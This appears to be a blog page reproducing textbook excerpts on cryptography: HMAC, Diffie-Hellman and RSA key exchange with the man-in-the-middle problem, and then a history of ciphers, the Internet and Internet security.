HMAC (K, M) = H(K XOR opad, H(K XOR ipad, M))

Where the ipad is a 64-element array of the value 0x36 and the opad is a 64-element array of the value 0x5c.

All message authentication done in IPSec uses HMACs.

Key Exchanges

Symmetric ciphers and symmetric MACs both require a shared key. The security of the encryption and authentication techniques could be completely undermined by an insecure key exchange.

Diffie-Hellman

The Diffie-Hellman key exchange is the first public key cryptosystem and was the one described in the aforementioned paper "New Directions in Cryptography" by Whitfield Diffie and Martin Hellman. The Diffie-Hellman key exchange is based on the Discrete Logarithm Problem (notice how often this one-way function is used).

This key exchange is extremely important. Using the Diffie-Hellman exchange, a nonsecret, untrusted communications channel (like the Internet) can be used to securely establish a shared secret among the parties of the exchange. It is because of the Diffie-Hellman key exchange that symmetric ciphers and symmetric message integrity schemes (which both require a shared key) can be used in a scalable manner.

The usual players in describing modern cryptography are Alice and Bob and they can be used to illustrate the Diffie-Hellman exchange. All participants in a Diffie-Hellman exchange must first agree on a group that defines which prime, p, and generator, g, will be used. A Diffie-Hellman exchange is two-part. In the first part each side, Alice and Bob, choose a random private number (indicated by the lowercase initial of the party) and exponentiate in the group to produce a public value (uppercase initial of the party):

Alice	Bob
A= g^a mod p	B = g^b mod p

They exchange their public values, Alice gives A to Bob and Bob gives B to Alice, and they exponentiate again, using the other party's public value as the generator, to generate shared secret.

Alice	Bob
B^a mod p = g^ab	mod p = A^b mod p

Notice that A and B can be exchanged over an insecure network without lessening the security of the scheme. g and p do not even need to be kept secret. An eavesdropper (she's usually referred to as Eve) could know g and p a priori, intercept A and B over the insecure channel and still not be able to discover the secret! Once Alice and Bob share a secret they can use it to protect their communications. The Diffie-Hellman exchange allows an insecure channel to become secure. The importance of this cannot be overstated.

One drawback of the Diffie-Hellman exchange is that it is susceptible to a man-in-the-middle attack. In this attack, Mallory intercepts messages between Alice and Bob and fraudulently responds impersonating Bob to Alice and Alice to Bob. Alice thinks she's doing a Diffie-Hellman exchange with Bob but she's really doing with to Mallory. Similarly Bob thinks he's doing a Diffie-Hellman exchange with Alice but he's also doing it with Mallory. Alice can then send Bob secret information protected with the shared secret she thinks she shares with Bob. Mallory can decrypt it, copy it, and re-encrypt it with the secret that Bob has (which he thinks is shared with Alice). Neither Alice nor Bob detect anything out of the ordinary, except perhaps some delay in delivery due to Mallory's involvement.

The susceptibility to man-in-the-middle attack does not render the Diffie-Hellman exchange useless though, because the attack can be thwarted by having Alice and Bob digitally sign their public values. Mallory will not be able to fool Bob into signing her public value and will not be able to make Alice think that her signature is in fact Bob's.

RSA Key Exchange

With the RSA cryptosystem it is possible to encrypt with either the public or private key and what one key encrypts the other can decrypt. This capability can be put to use for doing a simplistic key exchange. If Alice wishes to use symmetric cryptography to protect her communications with Bob, she can choose a random number as the key, encrypt it in Bob's public key, and send it to him. Only Bob will be able to decrypt the key since he, alone, has possession of his private key.

An obvious problem with this approach is that anybody—such as Mallory— can encrypt anything in Bob's public key. Alice needs something to bind herself to this key. Once again, a digital signature can be used for such a binding. Alice can sign the key and encrypt both the key and her signature in Bob's public key. A drawback to this approach is that an RSA signature is the same as an RSA encryption: It can only be done on data that is less the size of the modulus and the result is the size of the modulus. If Alice's RSA private key is the same size as Bob's RSA public key, her signature will be too big to encrypt in a single operation.

Also, the benefit of a Diffie-Hellman exchange is that each side contributes to the resulting key, no one imposes the key on the other. For many applications this will be an important issue, for others not quite so much.

Cryptographic History and Technic

2009-04-25T07:28:00.000+05:30

Cryptographic History and Techniques

Since the beginning of time people have kept secrets. Probably from the beginning of your memory you have done the same. It's a natural human desire. People have always had, and always will have, some secrets that they either want to keep to themselves or share with only a privileged few. The easiest secret to keep is one that you will tell to no one. The more people you wish to share a secret with, and the more public the forum in which you will communicate your secret, the harder it is to keep your secret a secret.

Secrets in History

In antiquity it was easier to keep a secret because the ability to read was a privilege known to a select few. The number of people who could read a written secret was very limited. Merely by restricting access to the written word, a secret could be retained. The security of such a scheme is obviously limited.

As the ability to read became more prevalent the need to keep secrets from those with the ability to read became more necessary. This need manifested itself most notably in war. While those doing the actual fighting were most likely illiterate, the ones who waged the war were not and each side, no doubt, employed soldiers who could read and speak the language of their enemies. Military communications in the battlefield were probably the genesis of cryptography.

Early attempts at cryptography were simplistic. It is rumored that Caesar used a rudimentary cipher to obfuscate his messages. Those with whom he wished to share a secret were told how to reconstruct the original message. This cipher, The Caesar Cipher, was a simple substitution cipher: Every letter in the alphabet was replaced by the letter three places away modulus the length of the alphabet. In other words, the letter A became D, B became E, X became A, Y became B, Z became C, etc. It's a simple cipher to decode but li brx grq'w nqrz krz lw'v qrw reylrxv!—in other words, if you don't know how it's not obvious! Another variant of this is the ROT-13 cipher. Each letter is rotated 13 places.

Simple substitution ciphers are not very good since each occurrence of a letter is replaced by the same letter. Analysis of a language will result in the probability of letters following other letters—notice the occurrence of the letter r in the above "ciphertext." It's probably a vowel—and this information can be used to determine the substitution offset.

Confidentiality was not the only concern in antiquity. Authentication was another. When few could write, a signature would probably suffice. As the knowledge of reading and writing became more prevalent, wax seals bearing the unique mark of the "signer" were used to authenticate letters, documents, and edicts. The rise of industry brought the capability to make such a seal to more people and the seal ceased being unique. In effect, it became trivial to forge a seal.

Jumping to modern times, ciphers, and their cryptanalysis, have a very notable place in history. Prior to the United States' involvement in World War II, the United States Army was able to crack a code used by the Japanese government. This capability allowed the United States to be forewarned about the attack on Pearl Harbor. This knowledge was not put to good use, though, and the United States suffered great losses as a result of this "surprise" attack. During the same war the German government used an encryption device called Enigma to encipher its communications. This device used a set of rotors (Enigma machines had 5 but only 3 were used for any given communication) that contained the letters of the alphabet and could be independently set. Each letter of input text was transformed into a seemingly random character of output. Seemingly random, because the permutations of transposition were astronomical. The cracking of the Enigma machine was an incredible feat started by the Polish and finished by the British and the story behind the cryptanalysis of Enigma is large enough to be its own book. In fact, several books have been written on the subject.

Communication technology has grown steadily from the days of Caesar to modern times. From papyrus paper to telegram, telex, telephone, FAX, and e-mail, the ability to communicate has been made easier and more ubiquitous. At the same time, the ability to keep such communications secret has remained something of a black art known only to a few—generally governments and military organizations.

The security of each method of communication is dependent on the medium over which the communication is made. The more open the medium the greater the possibility of the message falling into the hands of those for whom it was not intended. Modern day methods of communication are open and public. A telephone call or FAX transmission goes across a shared, public, circuit-switched phone network. An e-mail is transmitted across a shared, public, packet-switched network. An entity in the network between communications endpoints could easily intercept the message. Retention of a secret transmitted using modern methods of communication requires some sort of cryptographic technique to prevent any of these eavesdroppers from learning the secret.

At its base modern cryptography relies on a secret known by the intended recipient(s) of the message. Typically the method of encipherment, the algorithm, is known but the "key" to unlock the secret is not. There are certain cryptosystems that are based upon a secret algorithm—so-called "security through obscurity"—but typically people are reluctant to use an algorithm which is not open to public scrutiny (the debate over the Clipper Chip is a prime example of this).

The problem, then, is to ensure the secrecy of the key—that it is obtainable only by those to whom it should be known. Modern cryptography provides for this.

Rise of the Internet

The popularity of the Internet has given rise to many claims on it. Everybody from browser companies to workstation vendors to router vendors lays claim to being the genesis of or the backbone of the Internet. Most agree, though, that the modern Internet was born in the late '60s under the name ARPANET. The ARPANET was a research tool for those doing work for the United States government under the direction of the Advanced Research Projects Agency (ARPA). The original contract was awarded to BBN of Cambridge, Massachusetts.

ARPANET traffic consisted of communications between universities and military and government laboratories. Researchers at disparate locations were able to exchange files and electronic messages with each other via ARPANET. As the network grew it split into two: MILNET, which was used for military use, and ARPANET (it retained the name), which continued to be used for experimental research. In the early '80s, a standard for ARPANET communications protocols, actually a suite of protocols, was specified. This was termed the TCP/IP protocol suite which eventually became just TCP/IP. It is the base of almost all network traffic today.

In 1987 the National Science Foundation (NSF) funded a network to connect the six supercomputer centers that were spread out nationwide. This network, called NSFnet, spanned the United States from San Diego, California on the west coast to Princeton, New Jersey on the east coast. The original NSFnet was over 56K leased lines, fast in those days but slow by today's standards, so NSF also solicited proposals to build a new high-speed network. The winning proposal was submitted by MCI, IBM, and MERIT (an organization which came out of a network at the University of Michigan), and the backbone of what we call the Internet was built.

Over the course of the '90s, the backbone of this network grew by the addition of different long-haul carriers providing leased line connections and local Internet Service Providers (ISPs) providing local access and short-haul connections. Today, through mutually beneficial service agreements, networks are connected with each side agreeing to carry the other's traffic on the condition that its traffic is also carried. This has created a worldwide network in which, for the price of the initial connection, access is provided to a virtually unlimited amount of resources spanning the entire globe.

Internet Security

The Internet is an ethereal thing. It can appear quite different when looked at for different purposes. For the purposes of secret-sharing, imagine the Internet as a huge town hall which is packed with people. Attempting to communicate a secret in such an environment is difficult, and the chance of others overhearing a conversation between two people increases as the distance between those two people increases. Since the Internet is truly global, no secret of any value can be communicated on it without the help of cryptography.

As the Internet grows (almost exponentially in recent years), its utility increases. Messages can be sent cheaply and reliably and communication is the lifeblood of business. For a company to engage in electronic commerce—the sale of goods and services over the Internet—security is a must. Sensitive information such as credit card numbers must be protected and a business must be able to authenticate each and every sale. In addition, businesses can use the Internet to inexpensively connect disparate offices. Interoffice electronic mail and even phone calls can be routed over the Internet. Because sensitive corporate information would most likely be transmitted over these links, the need for security should be obvious.

But, Internet security concerns are not solely business'. Each and every person has a need and a right to privacy, and when someone goes on-line, the expectation of privacy does not disappear. As consumer electronics become more and more Internet-aware, the need for security grows. When our phones and VCRs become accessible over the Internet, we won't want pranksters or hackers to steal our phone line or randomly turn our VCRs on and off.

Privacy is not just confidentiality, though; it also includes anonymity. People must be comfortable in cyberspace and an often ignored component of that is the ability for an individual to remain anonymous. What we read, where we go, to whom we talk, for whom we vote, and what we buy is not information that most people traditionally publicize, and if people are required to disclose information in cyberspace that they would not normally disclose in real life, they will be reluctant to engage in Internet activity.

Thankfully, cryptography can address these concerns.